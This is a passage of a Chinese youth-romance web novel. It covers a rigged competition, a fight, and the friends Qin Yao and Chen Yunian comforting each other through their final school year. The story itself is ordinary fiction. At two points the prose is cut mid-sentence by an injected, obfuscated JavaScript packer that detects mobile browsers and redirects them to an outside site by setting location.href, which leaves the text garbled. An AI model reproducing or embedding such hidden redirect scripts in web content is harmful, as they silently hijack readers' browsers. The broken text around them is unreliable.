两人吵来吵去,最终齐齐看向秦杳,仿佛在等着她到底会为谁说话,却没想到她摘了眼镜,像是完全没有听见他们在吵什么,心满意足地把试卷在两人面前晃了晃,语气骄傲雀跃:“终于算出来了——” “哎?你们这么看着我干什么?” “.......” 录制决赛是在周日,秦杳需要提前去往场所。 除了秦朗南夫妇,陈寓年也跟着去,他念念叨叨,简直比当事人还要紧张。 秦朗南都听烦了,原本想拍这小子的脑袋,却恍惚地发现,陈寓年已经比他还高了。 他悻悻收回手,又拿出长辈风范地瞪了他一眼:“你这叨叨叨的,不知道的以为你才是杳杳的爸,要不,我这爸的位置让给你?” 陈寓年心跳咯噔一声:“叔叔!” 秦朗南哼了一声,付韵秋才懒得理幼稚的两人,摸了摸杳杳的脸,叮嘱了好一番。 秦杳还挺耐心的,直到和他们告别,走去录制厅时,带教老师笑着说:“你和那个小竹马关系很好啊。” 其实很少有人会用竹马来形容陈寓年,所以秦杳愣了下才反应过来,她嗯了声。 “我也算是看着你长大的,这么多年,你参加过多少次比赛,他都会和你爸妈一起过来,杳杳,有很多人在乎你啊。” 秦杳当然知道他们对自己的在意,她抿出一丝笑:“我也很在乎他们。” 闲聊了几句,老师拍了拍她的肩膀,望向录制厅准备的工作人员,脸色稍稍沉重了不少:“放轻松,尽力而为。” 秦杳点头,随她的视线看了过去,恰好撞上了阴影处,萧一彦带笑的目光。 10. 10 决赛是直播制,秦杳看着电视里笑得春风得意的萧一彦,面无表情地关掉了直播。 她躺在病床上,咔擦咔擦咬着苹果发呆,忽然病房的门被人重重推开,她茫然地看了过去,只见陈寓年喘着气,不知是不是错觉,秦杳觉得他的眼睛有点红。 “是不是很疼啊。” 他甚至不敢碰她的脚踝,小心翼翼的,微哑的嗓音听出了几分心疼的哽咽。 秦杳在录制的时候不小心扭到了脚,这才被迫退出了比赛。 触及他眼里碎碎的水光,她心里叹了声气,丢掉吃完的苹果又擦擦手,这才嘟囔着:“陈年年你也太夸张了,哎,你别哭了。” 他幽幽看着她,秦杳实在没辙,好声好气地说他却不听话,最后只能板着脸命令他:“你别这么可怜兮兮地看着我,我又不是残废了——” “呸呸呸!” 他直接上手捂住了她的嘴,整个人都快伏到她身上了,第一次恼怒地瞪着她:“你说什么不吉利的话!” 秦朗南进来的时候就是这一画面,他警惕地哎哎两声走上去:“干嘛呢!” 陈寓年这才反应来,只见女孩子似乎也对他越界的动作有点懵,刚吃完水果,像浆果般的红唇微微张着,在他松手的一瞬间,她似是无意识的,习惯性地轻舔了下唇—— 两人的目光撞在一块儿,像是触及静电,又默契而慌张地移开了视线。 陈寓年收回手,只觉得掌心似乎有一片湿热的柔软挥之不去,令他不自觉地蜷紧了手。 陈嘉弋本来和他一起来的,但陈寓年跑得太快,他没跟上,喘着气到了病房,就瞧见他哥一脸神游的状态,耳廓也有点红。 “你发烧了?” 他狐疑地问,陈寓年慢吞吞地啊了一声,回过神的一刹那,下意识看向秦杳,却被人瞪了下。 秦杳是从楼梯跌下去的,万幸没有伤到骨头。 付韵秋下班赶过来,看见女儿这样都快哭了,病房里的人越来越多,秦杳这个病患反而要转过来安慰他们。 好不容易哄好了,她牵着秦朗南的手说:“爸爸,我的包好像忘在录制厅了。” 陈寓年恰时站起身:“我去吧,叔叔阿姨,你们陪着杳杳。” 秦朗南想了想:“谢谢你了,年年。” 陈寓年和陈嘉弋赶到录制厅,秦杳的带教徐老师拿着一个熟悉的包找到他们。 “杳杳怎么样了?” 她将杳杳送到医院后就匆匆赶回来工作了,此时还有点担心那小姑娘。 陈寓年将情况告诉了她,徐老师才松一口气。 一番感谢,离开前,陈寓年去了一趟洗手间,出来洗手的时候,余光里出现一抹身影。 他经常随着秦朗南夫妇来接秦杳,所以,萧一彦是认得他的。 明明赢得了比赛,可萧一彦的眉眼间笼着阴郁的冷意,也不知在想什么,此刻主动关心:“秦杳现在怎么样了?” 陈寓年对他一直很有敌意,也十分偏心地觉得萧一彦就是个晦气的存在,不带任何笑意地回答:“她很好。” 他没打算和萧一彦有过多的交流,抽出纸巾擦手,丢进垃圾桶准备离开的一刹那,听到了对方惋惜的呢喃:“那真是可惜啊。” 陈寓年脚步顿住,回头看去,向来笑盈盈的人,此刻脸色冷的可怕:“你说什么?” 萧一彦似乎没有注意到他话里冷意,他仿佛无辜地展露笑容,可一字一句,却透露着病态的嫉妒与恨意:“我说,她怎么不摔死呢——” “你再给我说一遍!” 陈寓年极为暴戾地扯住他的衣领将人推至墙上,萧一彦唇角扬起的笑更浓了,但睥睨的眼里,分明满是讽意。 没有和秦杳交手之前,他就听说过这个秦杳,知道她赢过很多次,是他那心高气高的父母都夸赞的“天才”,但他心气高,从来从来没有把她放在眼里。 直到那次比赛,他输给了她,父母的冷嘲热讽,带教老师的打压,都让他心里的不甘越来越深—— 而如今,他赢了。 明明他赢了,却有人不屑地说:“如果秦杳在,这个冠军一定轮不到他。” 明明他赢了,他的父母会不喜地指责他:“如果不是秦杳出事,你未必能赢她,就这么一场,你没什么好骄傲的。” 那次输掉比赛,被父亲甩了一巴掌,他的脑海里,是女孩儿得冠军时的骄矜模样,是他看见秦杳的父母亲昵地把她搂进怀里的一幕,他们嘴里喊的也不是名字,而是充满疼爱与骄傲的宝宝,只是赢了一个比赛,他们甚至为她准备了礼物—— 为什么会不一样? 为什么他赢了,那群人还是看不起他? 他笑得疯狂,他实在被父母打怕了,比赛开始前去找了秦杳,她开多少钱都无所谓,只要她愿意在决赛中放水。 可女生疏离而冷漠地看着他,毫不犹豫地拒绝了。 她仿佛什么都不缺,她有十足的底气,有父母与朋友的陪伴,不缺钱,不会害怕输.....真是让人嫉妒啊—— 所以看到秦杳摔倒的时候,他冷眼旁观,心里的恶意扭曲着—— 摔得真好,这下,没人能和他争了。 “你都不知道她疼到脸色惨白的时候,我有多爽——” “草!” 陈寓年近乎暴怒地挥拳,他骨子里的愤怒到了极点,恨不得将他碎尸万段—— 萧一彦也不是白白任他打,当即反击,两人扭打在一起,他喘着气,恨意与嫉妒蔓延,不忘刺激这个护着秦杳的男生—— “你现在打我有什么意思,啊?” “这么为她出头,她摔倒的时候你在哪啊?你的拳头,有用吗?我又不是没见过你,跟条狗一样跟在秦杳身边,但你有什么用啊?” 萧一彦一脚把人踹倒,他狠狠拽着男生的头,企图将恨意发泄在这个陌生人身上:“就算她没摔倒,我有钱!” “我买通了主办方,这次我赢定了!她输定了!” 陈寓年脖间青筋暴起,他膝盖猛地一顶,翻身失控地挥拳—— 两人扭打之际,陈嘉弋赶了过来,看到这一幕,他瞳孔一缩,将陈寓年拉开,可他已经接近失去理智,直到有工作人员注意动静,这场闹剧才被阻止。 有人报了警,陈柏良夫妇走进警察局的一刹那,听到了清脆的巴掌声。 萧一彦被打到撇过头,他眉眼阴郁,而他的父亲,冷漠地甩下一句:“成事不足,败事有余的东西。” 蒋梦溪只看一眼便收回视线,她匆匆赶到孩子面前,陈嘉弋没有受伤,陈寓年却伤得不轻。 节目录制组的工作人员看到家长过来,赶忙叫来调解员,陈柏良沉着脸过去,沟通了两个小时,一家人才从警局离开。 陈寓年一直很沉默,等从医院出来,陈嘉弋问他要不要去看杳杳,他沉默地摇了摇头。 他心情不好,吃过晚饭,又擦了药,他借着散步的由头,到公园找了个地方独自坐下,脑海中,满是萧一彦说的那些话。 比起流血的唇角,脸上被打的伤痕,萧一彦的话更让他难受。 只要想到杳杳摔倒后,惨白着脸无助的模样,他深深呼吸,却觉得心里好难受,好难受,难受到快要喘不过气了。 他抬起手臂压在眼皮上,企图让自己冷静下来,可一闭上眼,便是秦杳受伤的模样,还有萧一彦的冷嘲热讽—— “这么为她出头,她摔倒的时候你在哪啊?你的拳头,有用吗?我又不是没见过你,跟条狗一样跟在秦杳身边,但你有什么用啊?” 他确实,没有保护好杳杳。 陈寓年陷在低迷的情绪,恍惚察觉有人在身边落下。 他狼狈地擦了下脸上的湿润,把眼皮都擦得刺疼,带着点鼻音地开口:“妈,你怎么来了。” 蒋梦溪佯装不知道他哭了,她长长哎了一声,笑眯眯地说:“好久没出来散步了,一不小心碰到个帅哥,你说怎么着?定睛一看,是我儿子哎。” “......” 陈寓年没有直接回答,沉默片刻,低落地道歉:“对不起,让您和爸担心了。” 蒋梦溪看着他,心里却只剩下心疼。 他和嘉嘉的到来,是她和陈柏良没有预料到的事,那时候他们创业初期,工作太忙,原本是想打掉的,但医生告诉她,她的身体可能经不起这次打胎,最终他们还是留下了。 后来生了孩子,他们工作依旧繁忙,对于两个孩子的照顾总有不足的地方。 因为他的身体,他们只希望小年能够好好活着就行,可能就是一个放养的状态。 可今天在警局看到他被打成那个样子,她的心里只剩无尽的后怕。 “你确实让我们担心了,但小年,怎么还偷偷跑出来哭啊,是怕我们笑话你?” 她故意打趣着,陈寓年轻轻吸了下鼻子,蒋梦溪笑了笑:“你从小就爱哭,妈都习惯了,没想到越长大,脸皮越薄了?” 他幽怨地看着自己的母亲:“妈....” 蒋梦溪虽然私底下总是掉眼泪,也会和陈柏良两个人发愁担心,可在孩子面前,他们向来是乐观的,有时候会比两个孩子还幼稚。 她拍了拍儿子的肩膀,揶揄着仿佛在和朋友说话:“这么为杳杳出头,小年,你真的很喜欢她呀?” 陈寓年却没有直接回答,他低垂着眼,不知道在想什么,蒋梦溪也不在意,自顾自地说着,直到他忽然低落地开口—— “妈。” 蒋梦溪话音顿住,她嗯了声,看向这个只有十七岁的,青涩却迷茫的少年,他咽下喉中的涩意,声音有些哑:“你会不会觉得,我不配喜欢杳杳?” 蒋梦溪愣住了,他的回答不是确定或否定的,而是极度的自卑。 陈寓年低着头,心里的酸意不断涌来上来,让他有些难过。 他也说不清是什么时候意识到,自己对杳杳的感情的。 高一不在一个班,又因为课程的压力,他们没有太多时间能在课后见面。可他总期盼着想见她,在众多的人群中,她一出现,别人就成了模糊不清的路人甲。 她身边有了越来越多学习好又很烦的男生,他真的很不开心,将他们从头到尾都挑剔了一番,恍然清醒时,才后知后觉意识到自己似乎是在嫉妒。 他渐渐意识到,自己不只是简单的想要跟在她身边而已。 一种朦胧的情愫在他的世界疯狂鼓动,他的心跳不再因为身体的不适而变得异常,却会因为她,兴奋、沮丧,又或者是愉悦。 陈寓年知道,他不是生病了,而是朝夕相处的岁月里,杳杳在他心里变得不一样了。 他没有反问过自己,这种感情是什么时候开始发酵的,是不是因为从小一起长大,总和她黏在一起才会有这种心动,又或者,是自己误把友情当成了喜欢。 也从来没有想过要用什么方法去验证他的感情,更没想过要远离她一段时间来让自己冷静。 没有人会不喜欢杳杳的。 他觉得自己不是接受事实,而是终于终于,正确意识到了他对杳杳的感情。 他从小就依赖她,信任她,无条件听她的,陪伴在她身边,想要守护她,而这一切,都源于他喜欢她。 这种感情,仿佛很早就扎根在他的世界里,是他太迟钝,才意识到而已。 他喜欢杳杳,是理所应当的事。 就像人要呼吸一样,他就是会喜欢杳杳的。 他沉浸在自己的暗恋心事中,时而开心雀跃,时而酸溜溜地生气,他以为他们会如儿时一样,一直平平安安的,一直无忧无虑的—— 直到杳杳出事,萧一彦说的话,给了他当头一棒。 他没有保护好杳杳。 陈寓年低着头,像是困在沉寂的黑夜里,有湿答答的泪珠不受控地往下砸,颓败地喃喃:“妈,我没有保护好杳杳。” 他会因为身体的病弱而觉得自卑,而此刻,他更多的情绪是,觉得自己很渺小,他不敢想,如果秦杳伤得更严重..... 蒋梦溪看着他,心里一阵绞痛。 并不是因为,自己的孩子为了别的女孩子低迷而觉得不开心,只是单纯从长辈的角度,觉得心疼。 她想说,你们这个年纪,不需要多么的强大。你们应该是无忧无虑的,你们可以尽力地去奔跑,无论发生什么,都有我们这些长辈为你们托底—— 可她又想到,她是站在大人的角度去思考,也许站在陈寓年这个年纪,他是真的因为自己的“渺小”在觉得难过。 蒋梦溪想了想,没有回答,而是问:“如果再来一次,你听到他的话,还会动手吗?” 陈寓年没有任何犹豫地点头,说会。 蒋梦溪笑着说:“那我和你爸也会第一时间去警局帮你捞出来,而且是嘉嘉的话,他下次一定会选择站在你身边,帮你一起揍人。” 陈寓年呆了呆,他还带着些鼻音,恹恹地问:“您是不是觉得,我对杳杳的喜欢,算不上什么。” 学校有早恋的被抓到,大人总是说—— 你们这个年纪啊,能有多喜欢? 他以为蒋梦溪也是这么想的,谁料她反驳:“什么呀,我当然相信你很喜欢杳杳,甚至你不说我都知道呢。” 她当然相信,在他们这个十六七岁的年纪里的喜欢,是纯粹的,真心的,不含任何杂质的。 她对陈寓年说:“你在当下的年纪,做出了最大的努力,这样的你,从来都不是无用的,也不是渺小的。” 说实话,母子俩就没这么谈心过,蒋梦溪上大学的时候甚至在心理辅导室兼职过,但此时此刻她忽然觉得—— 嘿,她儿子还真挺难搞啊。 也不知道杳杳那丫头平时是怎么哄的..... 她说了这么多说到口干舌燥的,这小子虽然不哭了,却还是耷拉着脑袋。 不同病人要选择不同的治疗方法,她渴得要命,冲不远处,因为不放心而赶来偷听的父子俩打了个手势,示意他们给自己去买水,随后拍了拍儿子的肩膀生硬转移话题:“行了这件事先放另一边,我可跟你说啊,杳杳知道你打架受伤的事了,再不过去道歉,可能就哄不好了。” 果然,她话音落下的一瞬间,陈寓年倏地站了起来,脸色慌张:“真的?” 蒋梦溪无奈地点点头,他伸手擦了下眼睛,闷闷地和母亲道了谢,转身就跑。 ..... 陈寓年离开后,秦朗南夫妇在医院陪了秦杳很久,只是这期间他们一直在接电话沟通工作,秦杳借口犯困,赶他们早点回去。 等人离开了,她却没什么睡意,脑海里想的都是今天发生的事。 其实当初萧一彦要参加比赛,她和老师就保持了十二分的警惕。 一路正常录制,却没想到在决赛前,萧一彦找到她,想要贿赂她放水。 秦杳没有答应,可是在离开前,她没有错过萧一彦阴森森的目光。 她当然不可能畏惧他,只是因为他眼神,她大脑紧绷着,一直在想他会在什么环节做手脚。 因为这件事,她想得太入迷,下楼时没注意,一不小心摔了下去。 不幸的是,因为录制手机都被没收了,她没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882870|191965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法联系老师,脚踝的疼痛让她脸色惨白,呼喊了几声,进来的不是别人,竟是萧一彦—— 而他只是高高在上地看着她,没有帮忙,过了良久,他笑着,轻飘飘地落下一句:“老天也不让你赢我啊。” 秦杳撑着身体,强忍剧痛踉跄着往上,却发现,楼梯口被人锁住了。 等老师救她出来时,她已经被迫弃权,也才知道楼梯口被人放了禁止通行的牌子。 秦杳七岁开始参加各种比赛,过目不忘,打破过很多的记录,是绝对的“天赋型”选手。 她当然有输过比赛,可她从来不会就此气馁。 她只是懊悔,自己竟然因为萧一彦而分神。 怕爸妈担心,她表现得也十分乐观,可此刻,她脸色郁郁的,不是觉得输了比赛而难过崩溃,只是想到萧一彦在楼梯口看她的那道目光,便觉得恶心。 秦杳脑子里乱七八糟的,想着想着,竟真的睡了过去,迷迷糊糊地醒来已经晚上八点。 付韵秋走进来的时候脸色很不好,秦杳吃着晚饭,问怎么了,听到陈寓年被打的消息,她差点跳起来。 她给陈寓年打了两个电话也没人接,心里又急又气的,这个笨蛋,自己身体差成那样还跟人打架,就没有想过自己吗! 她实在睡不着,直到,病房的门被人“咚咚”敲了两下。 陈寓年小心翼翼地推开病房的门,将脸探进来,又怂地往回缩了一下—— “陈寓年!滚进来!” 秦杳都想从床上下来了,怕她真的要气炸,陈寓年利落地关上门走了进来,先是和付韵秋问好,随后双手背后,一副认错的姿态站在病床前。 付韵秋看着他脸上的伤也很心疼,但看女儿气急了的模样,她摇了摇头,贴心地离开,让他们自己解决。 秦杳看到他脸上的伤,还有破皮的嘴角,气得想立刻把萧一彦那个王八蛋碎尸万段! 陈寓年赶忙坐过来让她消气,一声声喊着杳杳地哄着,这么近的距离,他脸上的伤她看得更真切了,秦杳紧抿的唇一动,“你是不是傻,要打架,起码把陈嘉弋给叫上,一个人多吃亏。” 他很听话地点头,“嗯,我和嘉嘉商量好了,下次他和我一起。” 说着,他还想如往常那样弯唇笑笑,却不小心扯到伤口,痛地“嘶”了一声。 秦杳嘴上说了一句活该,可她也不知道怎么,心里很难受:“你从小就跟个玻璃王子一样,心脆弱,人也脆弱,怎么这次不怕自己倒下了?” 他小的时候生病,觉得自己要死了,哭得可怜兮兮的,现在却不管不顾的。 “你下次再这么冲动.....就疼死你算了。” 陈寓年却没如同以前那般讨好地说我错了,他低着头,喃喃了一句令她怔愣的话:“可是杳杳,你也很疼。” 秦杳盯着他泛红的,明显是哭过的眼,心里有说不清的情绪沉沉笼着,令她很不舒服。 “哎,陈年年。”过了很久,她忽然开口:“我想吃黄油面包。” 陈寓年眨了眨眼把湿润憋回去:“现在吗?好,我去买。” 秦杳盯着他:“我想自己去买。” 陈寓年愣住了,只听她说:“你背着我去。” “可是阿姨....” “我们快去快回,赶在妈妈之前回来。”她面露不耐,颇有点小时候骄横的模样:“去不去?” “去。” 陈寓年就不可能拒绝她的,熟练地帮女生穿好鞋,蹲了下来,她伏上来的那一刻,他身体有片刻的僵硬。 秦杳也注意到了,只是她顿了两秒,双手还是抱住了男生的脖子,像是准备干什么坏事般在他耳边说:“出发。” 两人就如同儿时背着家长偷偷跑出去买零食那般,陈寓年背着她从医院溜出来,嗅到新鲜空气的一刹那,秦杳溢出一声长长的轻叹,问他:“我重吗?” 他颇有点得意地勾了下唇,却又疼地呲牙咧嘴:“一点都不重好吗?我能背着杳杳大王绕着医院跑十圈。” 秦杳被他逗笑了:“好啊,那你今晚就背着我跑十圈,跑不到不准停下来。” “哎——我错了杳杳。” 在一起长大的朝夕岁月里,他们心里渐渐有了男女之别的意识,不会像小时候那样亲昵地手牵手,除了他撒娇那会儿怎么也甩不掉,大部分时候,两人都会默契地保持着适当的距离。 而在这个晚上,他们似乎刻意地忘记了男女之别。 高大的男生就这么背着她走进便利店里,偶尔侧头和她说着话,笑起来牵扯到伤口了,又吃痛地轻嘶。 但今天的运气似乎真的很差,找了两家便利店都没找到黄油面包。 陈寓年知道,她不开心就会想吃黄油面包,所以他语气轻快,笑着对她说:“走,去下一家便利店,今天一定要为我们杳杳大王买到黄油面包。” 秦杳却沉默了。 她不说话,让他的一颗心顿时提了起来,语气不自觉地带了些紧张:“杳杳?怎么了?是疼了吗?” “陈寓年。” 她忽然轻轻地喊了他的名字,小心翼翼地伸出手,碰了碰他薄薄的眼皮。 陈寓年喉咙上下一滚,脚步渐缓,秦杳似是毫无察觉,看着男生轻动的眼睫,还有脸上的每一处伤口,低声地说:“我好像还没问你,是不是很疼呀。” 就这么一句话,反倒把他心里的愧疚彻底钓了出来。 陈寓年始终在心疼她,也在懊悔,他竭力地想要咽下喉中的涩意,却好难:“杳杳。” “对不起。” “我没能保护好你。” 秦杳没有错过他的眼泪,她心里像是软软陷了进去,只觉得....陈年年真是,怎么这么爱哭啊。 她怎么会怪他呢。 可她又发现,自己完全不讨厌他这样低迷又可怜的模样。 见他哭得不行,秦杳让他放自己下来,让人去便利店买包纸巾擦眼泪。 他抽搭着走了,高挑的背影都透着点可怜,再回来,看上去已经缓了许多,可那双乌黑的眼眸还是湿漉漉的。 陈寓年也觉得自己过于矫情了,带着点鼻音说:“我送你回去,然后我再去其他便利店找找黄油面包,还有没有其他想吃的....” 他絮絮叨叨地说着,秦杳就这么仰着视线盯他看了很久,忽然打断道:“陈年年,你相信我吗?” 他愣了下,随后半蹲在她面前,一瞬间,便成了他仰视她的姿态,乌黑而干净的眼眸信任地看着她:“从小到大,我最相信你。” 秦杳伸出手,摸了摸他柔软的黑发:“那就别哭了,我不会因为一个萧一彦而挫败的,他算不上什么。” “下一次,我会赢回来的,你也是,不许再哭了,好吗?” 陈寓年看着她,点了点头。 秦杳抿出很浅的笑,心想,她可能不需要黄油面包了。 “陈年年,我们抱一下吧。” 陈寓年彻底呆住了,就这么茫然不知所措地看着她,唇还微微张着,结结巴巴的:“啊?这么,这么突然吗?” 秦杳却压根没管他的胡思乱想,就牵着他的手让他坐到自己的身边,也不管什么男女之别,如同儿时互相慰藉那般,伸手抱住了他僵硬的身体。 陈寓年大脑一片空白,觉得自己快要呼吸不过来了,女孩儿却闭上眼,轻轻地说:“谢谢。” 秦杳承认,今天的心情很不好,很烦躁。 她常常用黄油面包来调解自己的心情,但今天买不到黄油面包也没关系了,因为—— 有拥抱呀。 11. 11 教室里,忽然有两个同学因为一道题吵得面红耳赤。 空气静默半晌,大家似乎早已习惯这样的场景,只一眼便收回视线,自顾自地刷题,或者是一起讨论。 高三,大家也彻底没了玩闹的心思,课间每个人都是伏桌学习,麻木地翻动着成堆的卷子,一周用完两根笔芯。 秦杳刚给同学讲解完,转身的一刹那,目光扫到了坐在窗边的陈寓年。 小时候脸色苍白,病恹恹掉眼泪的男孩,在一朝一夕中成长为高挑而意气风发的少年,他坐在最后一排写着卷子,可能是遇到了难题,拧眉在草稿纸上算着,无论身边其他人多吵,他都是安静而专注的。 其实不只是现在,秦杳发现,进入高三后,陈寓年就沉稳了许多,很少会像以前那样幼稚了。 高二,他不会的题目会第一时间问她,但如今,他问的次数少了很多。 他的笑也少了,每次看向他,他都是淡着脸算题。说起来,他不笑的时候还真让人有种难以靠近的疏离感。 但偶尔面对她,他还是会很黏人,会撒娇。 后来秦杳想到,或许是他的压力太大了。 陈寓年的成绩一直处于中上游的位置,但在高二下学期,秦杳带着他恶补,没想到卡在最后一名闯入了重点班。 他要跟上大家的快节奏,其实很不容易,秦杳也问过陈嘉弋,陈寓年的确很用功,也似乎很焦虑。 秦杳不知道该怎么开解他,想了想,周六找了一部电影,拉着他一起看,陈嘉弋不爱看电影,就没和他们一起。 陈寓年还沉浸在题目中,最开始有点心不在焉的,渐渐的,就抱着个玩偶看得目不转睛。 秦杳关注地看了他两眼,见他时而笑,时而皱眉看得专注,心里悄悄松了一口气,直到—— 陈寓年拿着纸巾,抽噎着仰靠在沙发上,喉咙上下滚动时不自觉地溢出难过的哽咽,甚至渐渐地,自暴自弃般,也不忍着了,哭得不能自我。 秦杳复杂地看着他,唇瓣一动,想说点安慰的话,最终只是默默地递了一张纸巾过去。 明明是幸福美好的结局,他却哭成这样。 陈寓年抽抽嗒嗒地接了过来,望着她的一双黑眸湿漉漉的,他带着点鼻音为自己解释:“就是觉得他们太不容易了。” 秦杳就没见过还有比他更感性的人,难过的会哭,愤怒的会哭,看到幸福的,也会哭。 陈寓年似乎陷在情绪里了,两人一起长大,秦杳很了解他,也缓缓意识到,他或许不只是因为电影在哭。 她又抽了一张纸巾,可他接过去的时候,却轻轻抓住了她的手指。 “杳杳。”他克制着声音里的哽咽,轻声央求:“能不能借你的肩膀靠一下。” 秦杳愣了下,她放下纸巾,坐得距离他更近了些,随后拍拍自己的肩膀对他说:“当然可以,随便你靠。” 陈寓年就这么安静地靠了过来,他柔软的黑发碰到了她的颈部,说实话有点痒,秦杳忍着,垂眼看他,这样高大的男生啊,就这么脆弱地依偎着她,眼睫毛湿湿的,好乖,也真的好可怜。 “陈年年。”她轻声喊他,试探性地问:“你是不是,最近压力太大了?” 他阖着的眼皮似乎动了动,过了很久,喉咙轻轻一滚,溢出一个嗯字。 陈寓年其实无法言说,自己为什么从小就这么依赖她。 第一次靠在她的肩膀上时,他觉得好神奇,和父母的怀抱不一样,这么瘦小的女孩子,居然能撑住他哎。 七岁的杳杳大王很是高傲地看着他说:“这算什么,长大了我的肩膀也能借你依靠。” 她的每一句话,他都当真了。 他越来越依赖她,喜欢靠着她撒娇,无论是难过还是高兴的事,总是第一时间分享给她。 可不知道什么时候起,他开始患得患失,不为别的,只是因为,杳杳太好了。 他会为她开心,但也渐渐焦虑自己会跟不上她的脚步,会距离她越来越远—— 等意识到自己对杳杳的喜欢后,他才明白这种情绪是自卑。 高三侥幸闯入重点班,他当然是开心的,只是有件事他一直没有告诉过杳杳。 刚开学的时候,班主任找每个同学谈了话,面对陈寓年,老师语重心长地说了很多。 “其实你自己心里应该清楚,进入咱们重点班,一方面是有秦杳帮你,另一方面有运气成分在。当然,现在既然是班级里的一份子,我们也不去说其他的事情。只是陈寓年啊,你应该能感觉到,在这个班里,每个同学都很努力,但是相比之下,你可能会更吃力点。” 高挑的男生站在他面前,垂眼安静听着。 老师都是过来人,对男生女生之间的关系心里都有个揣测。 他没有问——你和秦杳是什么关系?谈恋爱吗?青梅竹马啊,但我看你们关系不一样般啊,这种重要阶段你们要保持距离。 他只是说:“难道你想要让秦杳拉你一辈子吗?” 那一刻,陈寓年大脑“嗡”的一声,他听懂了老师的意思,脸颊火辣辣地疼着,一种无形的羞愧围剿着他。 “你该自己努力的,而不是一直依靠她,甚至现在这样的阶段,你很可能会拖累她。” 陈寓年回到座位,盯着题目很久,他抬头看向坐在斜前方的秦杳,她学习好,可她从来没有骄傲,一直稳扎稳打,和其他同学一样努力。 其实蒋梦溪夫妇对他的成绩没有太大的要求,但陈寓年很小的时候就为自己立下了目标,一定要和杳杳考同一所大学,就算就算不是同一所大学,也要在一个城市。 他理所应当地接受着秦杳的辅导,习惯了依赖她,老师的话却给了他当头一棒—— 同样是高三生,不能因为她成绩好,她优秀,他就理所应当地觉得她不会累。 不能因为和她从小一起长大,就明目张胆地走这条捷近,一直依赖她。 不能因为杳杳宠他,他就坦然地享受她的好。 他觉得自己太自私了。 他想要提高成绩,他想要和杳杳在一起,也应该是他自己付出努力。 所以,他开始更刻苦地埋头学习,他也知道自己不如别的同学那样聪明,就逼自己更努力,睡得少点也没关系,只要多学一点....再多一点..... 他越来越焦虑,整个人瘦了很多,却怕拖累她,一直佯装着无事,却没想到这场电影,让他积压的情绪彻底崩溃了。 他不是觉得委屈,只是害怕,他真的会跟不上她。 可他又明白,他不能总将自己的负面情绪传达给她。 但怎么办,杳杳真的太好了。 她一关心他,他就忍不住想要靠着她,埋在她怀里,想让她摸摸自己.... 他陷在这样的情绪中挣扎,秦杳叹了声气,轻轻揉了揉他的耳朵:“你别怕呀。” 就这么简简单单的几个字,让陈寓年心里的酸意顿时涌了上来。 秦杳问:“你知道什么是拖累吗?” 陈寓年默默地想——他。 他就是拖累。 病弱的身体,让他成为父母的拖累。 不够优秀,追不上她的脚步,喜欢她却又不肯放手,是她的拖累。 秦杳从小到大就是个特别通透的姑娘,而陈寓年呢,他总是笑着的,性格也很好,好像没心没肺的很乐观,但她知道,那是因为他从小身体不好,他想表现得乖一点,他怕别人讨厌他,他不想让别人担心。 他很敏感,容易多想,也很脆弱。 她也可以不用理会他的多愁善感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882871|191965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的脆弱的,对吗? 但秦杳还是喜欢他笑着,像小狗摇尾巴一样开朗的模样。 “拖累是指,你自暴自弃,什么都不做,让关心你的人负重前行。” 她向来对什么鸡汤名言嗤之以鼻,也从来不需要用这些话来激励自己,因为她很相信自己,相信她可以做得很好。 但是对陈年年,她总愿意多给他点耐心—— “可是你不一样啊,你自己也很努力,我们明明一起在跑哎。” 她揉着男生耳朵的力道加重了些,像是在不高兴他居然瞒着她偷偷低落这么久:“而且,有我这样厉害的秦老师在,你怎么可能考不好。” “你不是说,从小到大最相信我吗?我既然能让你从中游的成绩闯到重点班,那也一定,一定可以让你在高考中考到好成绩。” 这样狂傲的话,别人说,他不会信。 但这是秦杳说的。 陈寓年看着她,仿佛看到了儿时那个自信的,会牵着他的手说跟我走的杳杳大王—— 或者准确来说,杳杳一直是这样的。 她总是这样的好,好到让他又有点想哭了。 他怎么可能不喜欢她啊。 陈寓年闭上眼,他想,自己已经够幸运了,能有她陪伴在身边。 也不该总是这样矫情,总让她担心的。 “我会好好努力的。” 他轻声呢喃。 努力变得更好,努力能配得上你。 - 陈寓年钻的牛角被秦杳拽开了,他愈发努力,走哪都抱着书啃。 刷题的日子过得很快,元旦过后终于有了一个好消息——秦杳被保送了。 秦朗南夫妇直接带着她出去下馆子,陈寓年也真的特别特别高兴,知道消息那天直接把她抱起来转了个圈。 甚至他坐在秦爸秦妈旁边擦着眼泪,比自己考了好成绩还要感动。 秦杳却很淡定地对他说:“现在我有更多时间辅导你了,我会很严格的。” 他不哭了,虽然眼尾还泛点红,却笑着竖起三根手指发誓:“没问题!接下来的日子,秦老师让我做什么我绝对听话!” 陈嘉弋幽幽插进来一句话:“那请让他三天不要说话。” “哎——那怎么行,杳杳,你可不能听他的。” “.....” 陈寓年也是卯足了劲儿地努力,成绩没有一跃飞升,却也是稳定进步中。 两个月,在做不完的试卷中过得很快。 高考第一天,他进去前,秦杳问他:“要不要抱一下?” 陈寓年一开始还矜持地说不用,走了没几步,他忽然顿住脚步,快步折回来,重重地拥住她。 秦杳弯了弯唇,轻轻拍他的背脊:“加油。” 陈柏良啧啧两声:“怎么不跟爸爸抱一下。” 